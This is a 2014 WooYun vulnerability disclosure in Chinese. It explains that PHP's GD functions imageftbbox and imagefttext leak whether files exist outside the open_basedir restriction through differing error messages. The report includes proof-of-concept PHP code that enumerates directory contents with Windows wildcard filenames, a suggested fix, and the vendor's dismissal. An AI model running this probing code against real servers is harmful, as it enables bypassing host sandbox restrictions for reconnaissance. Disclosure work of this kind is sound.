当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-083688

漏洞标题:php设计缺陷导致绕过open_basedir列举目录之3

相关厂商:PHP

漏洞作者: phith0n

提交时间:2014-11-18 12:11

修复时间:2014-12-30 14:44

公开时间:2014-12-30 14:44

漏洞类型:设计错误/逻辑缺陷

危害等级:高

自评Rank:12

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-11-18: 细节已通知厂商并且等待厂商处理中
2014-11-23: 厂商主动忽略漏洞,细节向第三方安全合作伙伴开放
2015-01-17: 细节向核心白帽子及相关领域专家公开
2015-01-27: 细节向普通白帽子公开
2015-02-06: 细节向实习白帽子公开
2014-12-30: 细节向公众公开

简要描述:

@/fd 曾在这篇帖子里 http://zone.wooyun.org/content/11268 给出了一些绕过open_basedir的方法。方法总体来说有一些鸡肋性,看客官如何理解了。
根据PHP的尿性,这个洞肯定忽略了,之后我也会整理一些类似的方法,公布出来。
#3为两个类似函数均有风险,统一提交。

详细说明:

@/fd的代码里对于列目录有两个方法,一是利用DirectoryIterator类,二是利用realpath函数。前者很好用,我就不多说了。单说下后者,realpath函数在处理已存在的文件(目录)与不存在的文件(目录)时情况不同,如果文件已存在则会抛出错误:open_basedir restriction in effect. File(xxxxx) is not within the allowed path(s),如果文件不存在则会返回false。
所以我们可以通过捕捉错误handle,来判断某文件是否存在。
我的第三个方法也类似。
php的gd2库有一个函数叫imageftbbox:

001.jpg


GD库基本上是php必备库,所以也不存在鸡肋不鸡肋的说法。这个函数第三个参数是字体的路径。我发现当这个参数在open_basedir外的时候,当文件存在,则php会抛出“File(xxxxx) is not within the allowed path(s)”错误。但当文件不存在的时候会抛出“Invalid font filename”错误。
测试代码:

<?php
printf("<b>open_basedir: %s</b><br />", ini_get('open_basedir'));
imageftbbox(100, 100, $_GET['file'], 'aaa');
?>


结果:

002.jpg


003.jpg


所以,我们可以根据php抛出错误的不同来判断某个文件是否存在,进而进行目录的枚举。
在php的GD中,还有个类似的函数(也是需要加载字体的函数)存在同样的问题,是imagefttext。我就一起提交了。

漏洞证明:

在windows下,我们可以通过windows特性,也就是“通配符”来快速枚举目录,不需要暴力跑目录了。
详细代码见#1,这里情况有些不同,所以我再说一遍。
例如d:/test/下有如下文件:

004.jpg


我写了个简单的,但只能枚举文件第一个字符的代码:

<?php
printf("<b>open_basedir: %s</b><br />", ini_get('open_basedir'));
set_error_handler('isexists');
$dir = 'd:/test/';
$file = '';
$chars = 'abcdefghijklmnopqrstuvwxyz0123456789_';
for ($i=0; $i < strlen($chars); $i++) {
$file = $dir . $chars[$i] . '<><';
//$m = imagecreatefrompng("zip.png");
//imagefttext($m, 100, 0, 10, 20, 0xffffff, $file, 'aaa');
imageftbbox(100, 100, $file, 'aaa');
}
function isexists($errno, $errstr)
{
global $file;
if (stripos($errstr, 'Invalid font filename') === FALSE) {
printf("%s<br/>", $file);
}
}
?>


输出如下:

005.jpg


可见已列出第一个字符了。顺势我们就可以逐一列出后面的每个字符,造成目录的枚举,我就不具体给代码了,大家自己发挥自己的想象。

修复方案:

只要在open_basedir外,不管文件是否存在,都应该抛出相同错误。

版权声明:转载请注明来源 phith0n@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2014-12-30 14:44

厂商回复:

漏洞Rank:15 (WooYun评价)

最新状态:

暂无